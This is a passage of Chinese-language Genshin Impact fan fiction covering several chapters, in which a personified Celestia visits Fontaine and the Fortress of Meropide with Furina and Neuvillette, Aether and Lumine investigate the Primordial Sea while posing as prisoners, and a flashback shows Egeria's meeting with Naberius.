“您怎么又不说话了呀?……那维莱特大人,这位漂亮的先生是不喜欢美露莘吗?” 那维莱特半抿着唇,斟酌了一番,缓缓摇头。 “不好意思,刚刚发了一个呆。”中断思绪, 维尔金回过神,毫不掩饰地夸赞道: “你们是我见过的最美丽「不正常」的种族「深渊魔物」!这次枫丹之旅,果然不虚此行!” “嘿嘿……” “好了好了, 先快点把人群疏散开来, 斯库拉要靠岸了。” 正在苦哈哈避开人类的斯库拉频频点头,又是激起一圈圈涟漪。该说不说,枫丹庭的办事效率确实一流, 水龙王和水神的治理让这座充满了人类与非人物种的国家以一种难以想象的融洽共通发展至此。 一回到自己熟悉的大本营, 芙宁娜立马展现了一把自己作为亲民派魔神对自己国家强大的掌控力。 不仅短时间内解决了港口内的骚乱, 还迅速转移阵地, 赶在人类记者们围堵他们之前把三个重量级别的人物直接带到沐芒宫。 穿戴着职业装的美露莘把守着门口, 随处可见巡逻的卫兵和正处于工作状态的美露莘。看起来,枫丹似乎是一个值得作为赦令颁布后之标杆的国度。人与非人和谐相处,科技发展迅速的同时牢记天空岛的规则。 但是,维尔金仍然从这表面一派欣欣向荣的表象中发现了许多端倪。 枫丹的人们并不如他们所表现的那般轻松。 空气中时不时飘来夹杂着苦涩的恐惧与担忧, 当然,这只是极少的一部分。预言太过于久远,对于近几十年才刚刚出生的人类而言,那听起来不过是某个古早灾难在一代代传承和警示中演变成为的神话故事,倒不如说,这种几千年前的预言还能够形成实质的恐惧和担忧这一点,才真的让维尔金感觉到奇怪。 “乱七八糟的寒暄和背景故事就免了吧,之前你们跟斯库拉讲的那些东西我也已经看过了。”维尔金也不矫情,直接坐在了伏案办公的长桌一角,拿了份当日最新的蒸汽鸟报,粗略扫了几眼之后,结合自己听到的元素的哀嚎和空气中的气味,心中已然有了一些答案: “正如我先前在坎瑞亚时所言,如果你仅仅只是想为枫丹某一条生路、顺利度过预言危机,那按照你心中所想的计划即可,这是正确又行之有效的道路。但……我猜你在意识到我苏醒后显然又多了一些想法。” “抱歉,是我……太贪心了吗……” “不,你挺好,芙卡洛斯。”维尔金纠正道,“命运连我都胆敢玩弄,所以,既定的命运只可顺应,不可违背。哪怕是你竭尽全力去避开那个糟糕的未来,命运之轮依旧会将你指引回必定发生的结果之上。你明白吗?” 芙宁娜点点头。 “而我这双眼睛看见的一切都会被铭刻在星空,呃,就是我的本体蛋壳上面。而在提瓦特,铭刻于星空的命运意味着什么,就不用我再赘述了吧?” 被天理注视过的事情会变成铭刻在星空上的既定命运—— 芙宁娜失声:“等等,也就是说——” “没错,在你们把我弄醒来的瞬间,在我看完斯库拉的记忆并且理解到你们究竟想要做什么的刹那,你们就已经成功了。只是结果的成功不意味着过程的完美。或许,枫丹会被水淹没,直到失去一切才迎来希望的曙光;又或许,命运节点的悖论和预言的漏洞被你们察觉,于是用一种伤害更小的办法度过了危机。” 这就是预言。 从祂口中言出却不为祂的意志所更改,在轻飘飘的话语和确切的未来被真实之眼看见后,化为一颗又一颗璀璨的钻石,镶嵌于漆黑夜幕的亿万星辰。人们只可度过而不可避免,哪怕是天理本人,也只可扭曲而不可扭转。 “所以,我不建议你们告诉我太多,以免让你们那本就艰难的计划又受到命运的从中作梗,当然,说好的帮助我也不会食言。” 维尔金拍了拍胸膛,坚硬洁白的大理石墙倒影着原初之人的身影,生动过头的眼睛此刻显现出强烈的非人感。 不小心跟维尔金眼神对视上的那维莱特,突然感到一种铭心的剧痛。天理严重那道璀璨的金光勾起了他藏在身体本能和灵魂深处的记忆。意识放空,灵魂又像是飘到了久远的过去,恍惚之间,那维莱特觉得眼前的家伙分外眼熟,这璀璨的亮光不该是局限在这个小小的办公室…… 而是应该高悬于天空,直到将大地焚烧、令江海干涸,龙嗣们流落四海,亘古的龙王迎来仇敌的最后一击……! 好烫! 像是火舌舔舐着全身,血管里的液态部分全部被烤干,一动也不能动,连对疼痛的感知都被热气模糊,他已经完全陷入了那宛若世界末日一般的魇梦之中—— “那维莱特,你还好吧?” “……抱歉,可能是精神上有些疲乏。”意识回归清明,那维莱特感激地向芙宁娜微微示意,又揉了揉太阳穴,强忍着痛苦。或许是受到刚刚幻梦的影响,看向维尔金的目光也不免夹杂了些从幻境中带回到现实的不适。 心脏中涌起的陌生感觉……像愤怒,却又饱含恐惧。 是……「他」曾经的记忆吗? 那维莱特不敢再继续深思下去,随便找了个理由先行一步,起码在弄清楚为什么会突然出现那些奇怪的记忆之前,他最好离天理远一点。 “我先走一步,审判庭还有些积压的事项需要我亲自处理。” 芙宁娜担忧地看着自己的得力助手,嘱咐道:“先好好休息,审判庭的事情也不必急于一时。” “先不要走,”维尔金开口,上下打量了一番“你刚刚是不是看到了什么?” 那维莱特有些迟疑,毕竟某种意义上来说,龙族和天理是生死大敌,他们应该在天空厮杀、在海底一决胜负,而不是在吵醒天理后又把后者带回自己的大本营,让祂来帮忙解决祂自己种下的预言。 那维莱特微微张口: “我也不太确定……” 维尔金立马了然:“懂了,你看到了我跟尼伯龙根大打出手的过去吧?” 芙宁娜:“诶?” 别说是那维莱特,就连已经自觉已经适应了天理时常语出惊人这一特性的芙宁娜也不免呆滞了一瞬。 合着您对自己几千年前干了些什么原来有这么清醒的认知?!可这也回答得太理所当然了吧?! 不过芙宁娜和那维莱特还是小看了维尔金。毕竟,除了面对工作状态时的维系者,这么多年来,天理本尊可从来没有看别人脸色行事的宝贵经历。或者说,这也是祂对自己的一种绝对自信,在保住法涅斯遗产的同时把赢家通吃的原则利用得淋漓尽致。 维尔金想了想,提醒道: “总而言之,如果你想报仇的话,欢迎随时来找我,最好是我在地上这段时间,我比较有空。不过你要是想先养精蓄锐一番,等到我回天空岛再想要找我的话……呃,可能需要向维系者预约一下,我不保证她会通过。” 那维莱特表示理解,维系者确实……非常严格。 现任的水龙王可是实打实的枫丹仅次于执政官的大人物,偶尔芙宁娜忙于剧团演出、又或者是不想去天空岛直面凶巴巴上司的审视时,那维莱特就会顺理成章地成为那个汇报工作的二把手。 只是……那维莱特不理解。为什么这个人能够爽快承认自己的屠戮,大方地接受后者的报复,却从来不觉得自己的行为多么恶劣、多么可怕? “为什么我看不到你对毁灭古龙血脉、毁灭他们赖以生存的家园时,存在哪怕那么一丝的愧疚?尊贵的天理,这四百年,我见到了你对人类的热爱,对世界万物的拘束,甚至是对自我的克制,可为何,你对龙族就如此残忍?” “不明白吗?” “哦对,你现在是「那维莱特」。”维尔金脸上的表情迅速从困惑转为恍然,秉着关爱年轻幼龙的良好品德,好心为年轻的水龙解释道: “原因很简单,我爱人类,我会给人类最好的,龙族盘踞的提瓦特是为数不多还能够养活人类的地方,仅此而已。至于所谓的提瓦特归属权问题……这个目前对你和芙卡洛斯来说都有些超纲,提瓦特的归属不是「那维莱特」应该知晓的事实,一切的一切,当你再度成为「利维坦」、当你又能够重新站到超脱于普通魔神的位置时,你自然会明白。” “……”那维莱特努力消化刚刚得知的一切 维尔金宽慰起龙脑过载的年轻龙: “没关系,你不明白的事情多着。阿佩普也不会跟你讲太多,她见过最鼎盛的尼伯龙根时代为了对付我付出了多大的努力,也知道这个世界已经比我的本体还要稀烂,更清楚深渊的狂潮不会放过任何一个尚存知性的生灵、任何一个还保有生机的世界。” “——芙卡洛斯,带路,现在去封印原始胎海的闸门。 被突然点名的芙宁娜一震:“阀门,您是说——” “那个涌出原始胎海水最大的漏洞处有可以让你们这些年轻龙年轻神一窥世界真相的好东西。” 维尔金眨了眨眼:“前任天理亲自为新员工及员工下属一对二讲解提瓦特本源,这份经历可绝对是晋升加分项哦!” 第110章 第 110 章 高层要来梅子堡突击检…… 梅洛彼得堡, 独立于枫丹的司法体系之外,以自治形式存在的水下要塞。这里是容留受审判而遭放逐的囚人之场所,也是枫丹最大的发条机关生产机构。 当然, 这只是表面部分。 在梅洛彼得堡尚未形成的年代, 犯下罪过却又真心悔过的犯人请愿来到幽深的海底看守封印原始胎海的闸门, 以防洪水侵袭枫丹。这些罪犯在厄歌莉娅的指引下用铸钢与精铜建起厚重闸门, 并在其上建造了供长期生活的堡垒, 久而久之,在世人眼中也演化成为无异于监狱的存在,将那段关于原始胎海的历史彻底扫入阴暗的角落。 梅洛彼得堡,就这样用囚犯制成了掩护秘密的外衣,机械的造物和神明的力量共同维系着海底之下的秘密。 “这里就是从伊黎耶岛进入梅洛彼得堡的唯一入口, 我建议我们按照惯例走正规流程登记下去——海底的人类和非人类的数量都不少,人多眼杂。” 维尔金点点头,他没有意见。讲解是一回事, 还要他分心思去研究如何把他们平平安安带到原始胎海的边界处可就是另外的价格。 或许是因为使用了法涅斯身体的缘故, 哪怕维尔金的本体并不是畏水的类型,在机器下坠时,维尔金仍然反射性皱了皱眉。 人类是陆行生物, 人们对深海天生存在恐惧, 而几千年天理对诸多非人类的战争和各种灾难无疑加深了这一刻板印象, 导致海洋一直是整个提瓦特人类含量最少的地带。 维尔金抬头, 黄铜制的厢式机械装置还在继续下沉, 头顶上的机关早已闭合,下层方向的排气扇叶的声音越来越吵。 “这座升降机是人类自己发展的科技?” 维尔金突然问道,声音在无人说话的狭小升降机内显得极为突兀。 负责指引三人前往登记接待员处登记的警卫玛德琳愣了一下,一时之间不知道如何作答。倒不是她的知识不够丰富, 在枫丹,哪怕是一个才学会说话的小孩都知道,枫丹的能源技术都是由荒芒力量提供,外国人不清楚也很正常。 只是……玛德琳本能地感觉,这个看起来格外年轻、却能够被水神大人和大审判官亲自接待的人提问的方式十分奇怪。 很少有人,会对一件未知事物的询问方式是以“人类自己发展的科技”作为切入点,而是会用“这是什么”之类的来展开。 但奇怪归奇怪,玛德琳整理了一下思绪,刚要回答,就听见水神大人开口道: “大约是五百年前,有一位叫做阿兰的科学家研究出可控的荒芒湮灭反应,彻底革新了枫丹的能源、科技,以及生活的方方面面。” 芙宁娜记得自己任上每一位为枫丹这一国度奉献自我的人类。 那些年,也曾有许许多多的人类为了如同达摩克利斯之剑般的预言走上了荆棘丛生的道路。 有些人得到了自己想要的答案,另一些人走在错误的道路上,还有些人终究放弃了缥缈的未来,转而将目光投向现实。 芙宁娜从来不会评价他们所作所为的对与错,因为哪怕是连她自己,都不敢保证一定是前行在一条正确无误的道路上。 但是唯独那个…… 芙宁娜的眼眸微微低下,轻咳两声,三言两语就为维尔金介绍了这位在厄歌莉娅统治时期的、充满了人类天才以及大胆尝试的孤儿院—— 水仙十字院。 “阿兰·吉约丹便是其中翘楚,他的研究和发明可以说让整个枫丹焕然一新,他们那一辈同龄人也是英才辈出,很厉害很厉害的人类呢!对了,他们还解决了创生出美露莘的魔龙!” 维尔金肃然起敬:“那真的很厉害了。” 升降机的闸门应声打开,玛德琳将脑子里乱七八糟的思绪赶走,立正站好,摆出一个“请”的姿势: “各位,还请移步接待处,按照梅洛彼得堡的规定,进入前需统一至接待处登记,才能进入堡垒内部。” "玛德琳小姐,麻烦你了。” 梅洛彼得堡的内部跟地上雍容光辉的枫丹庭看起来格格不入。巨大的城堡看上去全部都是由冷冰冰的机械早五堆叠而成,空气中偶有传来腐烂的臭气,还有黏腻的潮湿—— 一言以蔽之,体感生活环境十分恶劣。 沉闷的空间不仅能够销蚀凡人的意志,还会顺带腐蚀公务人员紧绷的神经,在日复一日的无趣工作中变得懒散懈怠。 梅洛彼得堡接待员玛蕾蒂就是如此,不变的工作流程,恶贯满盈的罪犯,痛哭流涕的忏悔或是死不承认的嘴硬,一切的一切都在消磨她对工作的热情。 在她刚刚参加工作、成为一名梅洛彼得堡的接待员时,她还会细细聆听被押送至此的囚犯们的辩解和忏悔,但现在,她只会麻木地登记犯罪人员信息,公事公办。 玛蕾蒂伸了一个懒腰,向许久不见的好友打了声招呼: “……啊,是你啊玛德琳,怎么亲自……早,早上好!那维莱特大人!芙宁娜大人!” “上午好,玛蕾蒂女士。”那维莱特点了点头,向她介绍起此行唯一的陌生访客,“还劳烦你为我们登记一下,这位是……” “维尔金,直接登记维尔金这个名字就行。” “好,好的那维莱特大人……” 玛蕾蒂浑身上下的瞌睡虫一下子被赶的无影无踪,满脑子都是大审判官和水神大人同时来梅洛彼得堡视察工作的紧张。往日信手拈来的核查登记工作也变得棘手起来,尤其是这个陌生的金发人……居然能够和大审判官和水神大人并列出行…… 玛蕾蒂不敢细想,以百分之一百二十的精神面貌干起自己的工作。 ——不是囚犯,那就是贵客,又有神明大人和审判官大人呢陪同,保守估计,起码得是邻国魔神、或者是魔神眷属级别的大人物!这样的大人物来到梅洛彼得堡只是看看风景建筑,她是万万不会相信的…… 电光火石之间,玛蕾蒂的脑海中略过无数张面孔,最终将记忆定格在与这位名叫“维尔金”的贵客一样,也拥有一头金色头发的两个异乡人身上—— 思路瞬间厘清,智慧的大脑占据了高地,玛蕾蒂恍然大悟! 她就说怎么会有人蹲监狱的第一件事就是来问梅洛彼得堡有没有什么奇怪的传闻或者必须遵守的禁忌,武力值高的出奇的同时,进来的罪名也很儿戏。 原来是要对梅洛彼得堡微服私访! 得赶紧通知公爵大人!! 那维莱特一只手按在桌案,身子前倾,困惑地看着听到维尔金名字之后久久没有动弹的玛蕾蒂,不解道: “玛蕾蒂女士,请问是有什么问题吗?” “抱歉,我刚刚突然想起来,如果是枫丹意外的国民申请访问,需要同步上报给公爵大人……”玛蕾蒂急中生智,给自己想了一个好借口。 既能够提起知会公爵大人,又能给那维莱特大人留下工作认真负责、流程完备的良好印象,一举两得。 “不必通知莱欧斯利,我们此行的目的不会干扰到梅洛彼得堡的正常运转。” 芙宁娜可不想再让更多人接触维尔金,一方面,她不敢赌监狱里鱼龙混杂的人群会不会不识趣地给天理上演一出关于人类之恶的可怕剧目就,导致枫丹沦落到跟坎瑞亚一样的下场;另一位方面,芙宁娜不希望更多人牵扯到他们此行的目的中。 如维尔金先前所言,原始胎海中的部分秘辛有些甚至连她跟那维莱特都尚不足以知晓的存在,而每每涉及到提瓦特的底层逻辑和本源问题,一切的一切都会变得十分敏感。 这也是芙宁娜的私心。 如果又是类似于命运那种“所见即未来”的规则,至少要让枫丹留有一丝绝地翻盘希望。 “这……好的,芙宁娜大人。”玛蕾蒂从抽屉中拿出三本薄薄的小册子,页面打开有些泛黄,摸上去还有些潮湿,“梅洛彼得堡已经有很久没有人拜访,一般情况下我们不会为囚犯提供纸质资料,所以还请勉强先用用。稍后,会有看守将你们带入内部……对了,毕竟是关押囚犯的地方,各位需要我通知警卫队的人护送吗?” “不必了,玛蕾蒂女士。” 那维莱特粗略扫了两眼,确认上面记载的细节还不如他本人大脑里的信息量丰富后,果断合上小册子,转头对维尔金说: “请跟我来。” 眼见大审判官轻车熟路地拉下门阀开始抄近道,甚至还娴熟地拧紧螺丝松动的扭盘后,可怜的接待员小姐欲哭无泪,只能默默在心底祈祷—— 囚犯们,至少在今天稍微安分一点吧…… 要是今天能够平安度过,她一定会向公爵大人建议全体囚犯都加餐的! “唉,放宽心吧,玛蕾蒂。”玛德琳拍了拍已经心碎好友的肩膀,宽慰道,“乐观一点,事情可没有你想象的那样糟糕。” “不要再劝我了,一定是微服私访,一定是……呜……怎么办怎么办,不会因为我没有按照职业行为准则的要求就判定我不合格吧……啊,还有前两天因为未经神明允许,偷吃天空岛派发给各国执政官的慰问蛋糕,导致神明大人以为弄丢上司奖品,致使枫丹政治核心陷入突发性静默状态……” 说着说着,玛蕾蒂发出懊悔的悲鸣: “我真是太傻了!我怎么就没想起这一茬?多明显的敷衍的理由啊,居然就被我这么水灵灵地忽略了?!而且这种鬼扯理由,这不就是在提点我们,上头要来搞大检查啊!!”《 》 110-120 第111章 第 111 章 兄妹也来凑热闹 囚犯们的寝室区, 隐姓埋名潜伏在梅洛彼得堡的降临者大人默默感觉到一股恶寒,打一个喷嚏。荧默默向桌边平移,将纸巾丢给空。 空精准接住, 揉捏酸胀的鼻子, 闷闷道: “没道理会感冒啊, 这又是谁在背后骂我?” “估计是昨天被你在擂台上三圈干趴下的那家伙, 输不起就背地骂人吗?真是烦人。” 荧随便将话题略过, 还格外好心的给哥哥递了杯水,等到后者咕噜咕噜一口闷掉,才瞥了一眼时钟,正色道: “时间差不多了,今天还去探查吗?我感觉有几个看守似乎已经注意到了我们的行动。” 梅洛彼得堡给予了囚犯除了离开此地以外的全部自由, 看守们看似对一切熟视无睹,但在世世代代潜移默化的规则约束下,整个梅洛彼得堡实际上却是和平有序。 毕竟是枫丹自治区域, “公爵”能够将梅洛彼得堡这样一个监狱治理如此规范, 相比也不是什么等闲任务。他们此行的目的仅仅是为了探查原始胎海的情况,但如果可以,荧并不希望事情被太多人知晓。 涉及到预言, 又跟提瓦特的底层逻辑法则相关联, 他们不得不打起十二万分的警惕之心。 更何况师出有名是一回事, 隐姓埋名被当场抓包又是另一回事。在水神芙卡洛斯正式批复前, 哪怕他们的确是为了正事而来, 流程也不够规范。天空岛上面忙死忙活的打工神们不会理会,但难保有脑子不清楚的家伙借题发挥。 裂缝还没堵住,他们没有闲工夫去打机锋。 “不必太担心。”空给忧心忡忡的妹妹心里吃下一颗定心丸,“如果我没有估算错误, 今天正好应该就是芙卡洛斯批阅到我上个月发给她入境通知的日子。估计太阳落山前能有机会收到要把我们捞出去的消息……不管了,当务之急是原始胎海的异动。如果这位「公爵」还能够记起梅洛彼得堡存在的意义是什么,他就应该会睁只眼闭只眼;而只要统管梅洛彼得堡的公爵不出声,咱们就能够无视那帮一无所知的守卫,继续干自己的活。” 荧点点头,叹了口气:“也不知道维尔金什么时候起来,这种跟星球内部关联的大事难道不值得他浅浅起个床吗?” 这话倒是提醒了空,他从背包里摸索出一朵便携式的地脉之花。 感谢任劳任怨的维系者,除了她,恐怕偌大的提瓦特已经没有神再愿意把这些繁琐的信息和公务全部整理成一条一条的分点细则,能够供他们实时查阅。 荧凑到空身边,一把肘开慢吞吞的空,夺过地脉之花生成的卷轴,快速翻阅: “带了也不见你早点拿出来。我看看,维系者说他已经醒了,还跟芙卡洛斯一起来枫丹……啧,坏消息,咱们的出狱期限需要稍微延后一些。如果可以,我们最好还是与他们汇合再一起行动为妙。” 毕竟,他们现在相当于是在跟芙卡洛斯和维尔金这两个家伙收拾烂摊子。 空思索了一下,毫不犹豫点头答应。 其一,他们的确需要更多的时间来确认海底深处原始胎海的状况。 再有一个,他们与维尔金毕竟已有数百年没有见过,虽说对于他们这种长生种来说,几百上千年都只是睁眼闭眼一瞬间的事,但多年未见,他和荧有一直忙着缝缝补补提瓦特世界边缘的裂缝,乍然听到友人苏醒,也不免有些小小的激动。 而且有维尔金在,就算原始胎海里面藏了一个深渊魔物的巢穴他也不会紧张了。该说不说,有了上次他们人在坎瑞亚结果世界树险些连树带世界被一锅端的前车之鉴,空就对提瓦特一切涉及到本源之物的存在留有一百万分的警惕心。 接下来,他们此行的唯一目的就可以简化为跟维尔金汇合并探查原始胎海泄露问题。 梅洛彼得堡,还有很多自上代水神厄歌莉娅时代就布置并流传下来,为了防止预言发生而设置的机关闸门。 虽然堵住了泄露的胎海水,但也相当于在危险的陷阱之上覆盖了一层迷惑人的外衣。而人类的记忆短暂又靠不太住,现如今,整个梅洛彼得堡已然只剩下高层还知晓这座监狱建造的初心。普通的囚犯们只当这是一座劳改的监狱、一个让罪犯赎罪的自治地而已。 除非预言中的大水真的冲破封印涌上枫丹境内,明面上,无论是芙卡洛斯和水龙王那维莱特都不方便插手。尤其是在预言已经逐步应验的现在,普通人纤细的神经如同一根已经紧绷到极限、即将失去韧性的弦,一旦预言被扩散、恐慌弥漫人群,甚至出现爆乱,就算本来能够和平解决的预言危机恐怕也难以顺利搞定。 "渗透压已经爆表了,海水浓度也在不断异化。我问了派蒙,其余六国的海水浓度完全正常,只有原始胎海的区域出现问题。”空从床板底下拿出这段时间里他们见缝插针收集到的海水数据和资料。 “还有另外一个事情——” 荧接过她和哥哥辛苦工作的成果,从中找出了一个极其诡异的参数,又头疼起来: “纯血枫丹人一旦接触到高浓度原始胎海水就有返璞归真变回纯水的风险,再进行更深一步的调查极有可能引发一些危险。如果枫丹人不会溶于水就还好,但是……” 他们不能去赌,至少在枫丹平安度过预言之前不行。 预言是“不论如何避免一定会发生”的既定事实。在这个时间点,每一个多余的动作都有可能成为诱发炸弹的引信。 “恐怕我们不得不去跟那位统治者梅洛彼得堡的公爵大人去谈一谈原始胎海的治理问题了。”空有些头大,为了潜入梅洛彼得堡,他跟荧几乎把所有能够证明自己身份的物件都丢在外面,也就是藏金之花又能吃苦又能憋气,普通人也不知道这是什么东西,才被他们顺手夹带进来。 “烦死了,直接打神之心电话跟芙卡洛斯说一声算了,我就不信这尘世七执政真的没一个人记得带神之心……干脆这样,那边的接待员小姐,既然已经知道了我们此行的目的,还麻烦你帮我们跟上面通报一下。” “哈,哈哈……两位果然发现了……”被当场点破的玛蕾蒂此时尤为后悔,恨不得把刚刚脑子一热就擅离岗位的自己挖个坑埋了。接待员小姐一脸心虚地从墙角的阴影处走进来,眼睛也不敢直视两人,想要掩饰自己的尴尬,“我还以为我当年藏身的基础还没有忘光……那个,我要是说我只是路过的话……” “鞋跟踩在金属制地板的声音很大,呼吸的声音更是差点盖过我们两个刚刚说话的声音。不过既然突然想着来偷听我们两个的谈话……哥哥,看来芙卡洛斯和维尔金已经来了。”荧三言两语分析完,对后悔不已的接待员小姐说道:“玛蕾蒂小姐,我们希望您能够为我们引荐一下‘公爵’大人。” 玛蕾蒂心脏终于重重衰落在地上,扑通扑通的鼓点正在不断攻击她信息超载的大脑。果然,她想得完全正确! 唉,都怪她这个破眼神,要是早点发现上头人下来办事,她不就有机会好好表现一下了?哪至于到现在,还有可能被上头的人怪罪下来。 不怪玛蕾蒂紧张得有些神经质——能够胆子大到在枫丹自治区随意评价神明的大人物…… 呜,她不会因为这种事情被撤职把? 等了大约有好几分钟,时间长到荧甚至都要以为这位接待员小姐睡过去的时候,玛蕾蒂才终于找回了属于自己的声音,结结巴巴道: “两位大人,我马上向‘公爵’大人汇报!” 说完,也不等荧再张口,就匆匆离开囚室。速度之快险些让人以为后面有一条巨大的水龙蜥在追。空一脸茫然地看向自家妹妹:“你刚刚是只表达了希望她能够为我们引荐一下‘公爵’的需求吧?怎么感觉……她好像想到了一些奇怪的地方上?” “错觉罢了,绝对不是我们潜伏进来的理由太过敷衍的缘故。” “……” “荧。”空扶额,终于袒露心声: “以后咱们还是找个正常点的罪名吧。” 第112章 第 112 章 前代水神与生之执政 短生种和长生种为何会得到截然不同的对待, 这个问题困扰了无数知晓维尔金之本相究竟为何物的长生种们。而无论是前者还是后者,对于自拥有意识以来就被关押在原始胎海的厄歌莉娅而言,都是她无论如何都想不通的问题。 闲来无事的胎海心脏偶尔还会向自己的看守者询问一些问题, 通常, 后者也无法回答, 反倒是语焉不详地告诉她: “你应该问问自己内心的声音。” 水龙蜥王并非推卸, 而是原始胎海的心脏中所蕴含的血脉记忆远比他一个普通的水系龙族亲王要多得多。 慢慢的, 厄歌莉娅掌握了自己的能力,她看到了很多,却也不够具体。 原始胎海孕育了提瓦特的一切,但对于来自于世界之外却又将世界轻而易举改造的天理,她仍然知之甚少。时间一天天过去, 深海的囚牢中越来越听不到尼伯龙根的遗族们消息,随着因反抗赤王阿赫玛尔而成为失乡之神雷穆斯的到来,魔神们争夺尘世七执政的战争已然愈演愈烈。 战火烧干了长生种们最后一丝崛起的可能, 无数强大的种族在一个又一个魔神的陨落中销声匿迹。 建立繁荣文明终将毁灭。 绿洲的歌者雷穆斯带来了先知西比尔的预言, 前者向她讨要了一杯水,又抱有那么一丝不切实际的企图,向她渴求自己希望的答案。 —— 最终, 厄歌莉娅离开了那座永无希望的监牢, 而斯库拉被雷穆斯真挚的愿望所打动, 愿意出一份力, 帮助他建立自己的王国。 没有用的。 厄歌莉娅哽咽着喉咙, 最后把这句无情过头的风凉话咽了下去。 她回过头,向新朋友和老朋友挥手告别,然后浮上了海面。 她浮出水面,她呼吸到第一口新鲜的空气, 她昂起头,又睁开—— 她终于明白,为何斯库拉谈起尼伯龙根的二度失败甚至已经生不起反抗的心思。 偌大的提瓦特已然被天空岛之主的本体囊括,湛蓝的天空和柔软的云朵之上,是漆黑的卵壳。 原始胎海赋予了心脏净化深渊污秽的能力,也使她能够看穿天上的虚影和光影遮掩之下的真相。环形的巨大裂缝从提瓦特的一端延伸到另外一端,清透的瞳孔还倒映着裂缝上源源不断渗入的、扭曲怪异的东西。 厄歌莉娅呆呆地看着遍布奇形怪状的黑漆漆家伙的裂缝,直到一个陌生的声音将她从无意识的呆滞中呼唤回来: “你看见了维尔金大人的本相。” 骤然回神的厄歌莉娅连忙低下头,虽然不知道天空之上那道裂缝中的东西是什么,但恐怕不是什么好东西。恐惧与后怕充盈着厄歌莉娅的心脏,她甚至能够感受到自己的身体在陷入余震。她感激地抬头看向提醒自己的好心人—— 啊,是好心鹤! 一直以来都跟斯库拉和雷穆斯,以及纯水精灵们相处居多的厄歌莉娅在心底悄然松了一口气。 “谢谢你!还有本相是指……那个巨大到能够包裹住整个世界的蛋壳吗?” 黑鹤振翅,施施然将羽毛张开,身形缩小,飞到厄歌莉娅的肩头。她感到肩头一沉,随后啊一小片乌云盖住了浅色的发丝,又在厄歌莉娅的耳边轻轻“嗯”了一声,惹得后者不由自主地打了个寒颤。 她从未见过天理本人,却也直到自己出生的原因。为了阻止水龙王的新生,天理的影子创造了另一颗心脏占据了原始胎海原本应当用以复苏水龙王的温室。影子是害得自己从出生以来都被关押于海底的罪魁祸首。如果天理原本的面貌是那样的可怖危险,那祂的影子,还有祂本人行走于世间的化身…… 一定会非常非常可怕吧? 厄歌莉娅忐忑地看向离开海底后,第一个遇到的好心鹤: “我叫厄歌莉娅,如您所见,对地上的方方面面还有游戏诶不太了解的地方,要是方便的话……可以为我介绍一下地上的世界吗?那个,我会给予您报酬的!” “不必给予我报酬,教导你正常魔神应有的常识是我此行的目的——”黑鹤礼貌地拒绝,然后“我名为纳贝里士,四影执政之一,你的创造者,为提前出狱的你而来。” “我将教导你何为艺术,我将告知你何为技术,何为修辞,你未来的城邦将充斥着创造与革新,你的治下,预言的艺术将享誉提瓦特,你的名字将随着海水的波涛与支流的蜿蜒响彻每一处的角落。” “那,我需要给您什么报酬呢?” “我只有一个祈求,独属于我的造物,我的罪孽,我的孩子——” “你必须发誓,万不可因不信神者奉献自我,万不可答应眷族的违逆请求。” “我会的。”厄歌莉娅完全不觉得自己会变成那种莫名其妙的家伙,于是毫不犹豫点头答应:“我发誓,我一定会遵守您的告诫!” 或许是因为造物对造物主充满信赖的天性,又或许是因为黑鹤的动物形态给一直以来没怎么接触过人形态物种的厄歌莉娅一丝丝熟稔感,总而言之,纳贝里士与厄歌莉娅的沟通交流非常畅通。 畅通到纳贝里士甚至有些怀疑自己窥探到的未来一角是不是出现了什么问题—— 这个通情达理的小家伙,真的会变成那副自己在世界树的数据库里看到的模样吗?又是违背维尔金的禁令导致后半辈子都在为预言而奔波,又是在无神之国的烂摊子里陨落。 还包括他自己……究竟要怎么才能做到这么莫名其妙地就死掉了呢? 连维系者那个工作狂都没过劳死,他跟伊斯塔露这两个理论上最能活的居然没能够活到最终的决战。 纳贝里士短暂地思考一番,却始终不得结论。 他擅长创造,善于给予生命,却只是知道生灵们的源起而不知其心灵。 “不必害怕所见的真实,更无需害怕天空的主人。你只需要知道,祂本人比我们更不希望这个由原初之人构造的世界被毁灭就行了,至于头顶那些恶心的东西,无视就好。”纳贝里士,“人类和普通的长生种无法窥见天空的真相和地底的肮脏,也不必害怕他们从天而降,维尔金会吞噬掉他们的。” “维尔金?直呼祂的名字……吗?”厄歌莉娅有些害怕。 “你的运气很不错,维尔金脾气越来越好了,尤其是对待自己人这一方面。”纳贝里士沉默了一会,“总之,以后碰到那种恶心的东西,你让他来解决就好。” 根据世界树的记录,烂摊子之所以能够成为烂摊子,很大一部分原因是维尔金当时都处在沉睡状态,无暇顾及太多。而一旦七神前往前线,位于大后方的人类国度就极易被趁虚而入,最后高压之下,执政官们不得不选择损失最大的打法。 比如自爆。 纳贝里士认真思考了一番,紧随其后补充一句:“如果维尔金睡着了,记得叫我。” “好的!” “反正,不要忘记我说的。”纳贝里士梳理了一番羽毛,那张看不出表情的黑鹤脸看起来也有些怅然。 “运气够好的话,这一次,我们都会有一个还算过得去的结局。” “那斯库拉和雷穆斯呢?”厄歌莉娅想到了还在筹备着国度的雷穆斯和斯库拉。 “既定的未来是不会改变的,厄歌莉娅。”纳贝里士说出自己的经验之谈,如果一件事会发生,那么无论如何那件事都会发生,不过结果可以改变。 一旦既定的事实发生之后,铭刻在维尔金本体上的命星将会闪耀,命运会短暂地放任事情自然发展。河流终将流向既定的汪洋,但他们至少可以决定这条道路是喜是悲,汪洋的末路是被烈日灼干还是汇入新的大海。 “预言可以被玩弄,却不能被改变。” 厄歌莉娅似懂非懂地点点头,将最后一句话牢记于心。 ——然后,众所周知地,那些从净水中生出的纯水精灵们,向自己的神明,说出了自己的心愿。 提示没有起到作用。 黑色的鹤早已回归高天,尘世的小小涟漪并没有让忙得不可开交的四影执政发现一切,直到命运既定,世界败露,维尔金看见命运的轨道,将之作为既定的预言告知于已成水神的厄歌莉娅。 一切都依旧运行与轨道,直到—— 坎瑞亚灾变。 命运的轨迹,终于发生了令人激动的偏移。无神之国不复存在,虚假的天空将腐朽的堕落者和外来者驱赶至世界之外。一切还尚未发生,死亡没有降临在神明和生的影子上。 “下次这种直属下级的大事可以早一点提交上来吗?” 维尔金卷起长长的卷轴,被点到的纳贝里士完全就是一副木已成舟、活着已经超越90%提瓦特人的随意态度: “我也没想到芙卡洛斯胆子这么大啊!你要是再睡一百年醒来不就正好能看到了吗?” 被摇来当临时老师的纳贝里士相当不满,狠狠啄了两嘴现任水神: “我这辈子最大的错误就是捏了厄歌莉娅,让她把你这个炸弹创造出来了!” “诶,是我的错吗?”芙卡洛斯大呼冤枉,“厄歌莉娅前辈也觉得这是一个好办法来着……” 